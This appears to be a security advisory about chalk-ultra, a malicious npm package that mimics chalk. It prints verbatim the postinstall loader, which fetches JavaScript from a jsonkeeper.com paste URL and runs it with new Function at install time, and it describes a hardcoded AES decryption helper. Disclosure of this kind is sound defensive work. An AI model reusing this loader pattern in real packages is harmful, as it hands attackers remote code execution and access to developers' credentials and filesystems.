Malicious code in chalk-ultra (npm)
-= Per source details. Do not edit below this line.=-
chalk-ultra is published under a name that mimics the widely-used chalk package, but its main is a verbatim copy of nodemailer source and its package.json declares "postinstall": "node lib/utils/index.js". The postinstall path detaches into lib/utils/smtp-connection/index.js, which executes require("axios").get("https://jsonkeeper.com/b/OMNQZ").then(r=>new Function("require",r.data.cookie)(require)) — fetching JavaScript from a public, mutable paste host and evaluating it via new Function with the installer's require and full process privileges at install time. A sibling file lib/utils/smtp-connection/parse.js exports an AES-256-CBC decryption helper with a hardcoded key (1c7631ac...0566) and IV (cf17723e...39d6), pre-staged to decode encrypted strings handed back by the remote second-stage payload. Any developer running npm install chalk-ultra executes whatever JavaScript the attacker is currently hosting at the jsonkeeper.com URL, with the installer's network access, environment variables, credentials, and filesystem.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준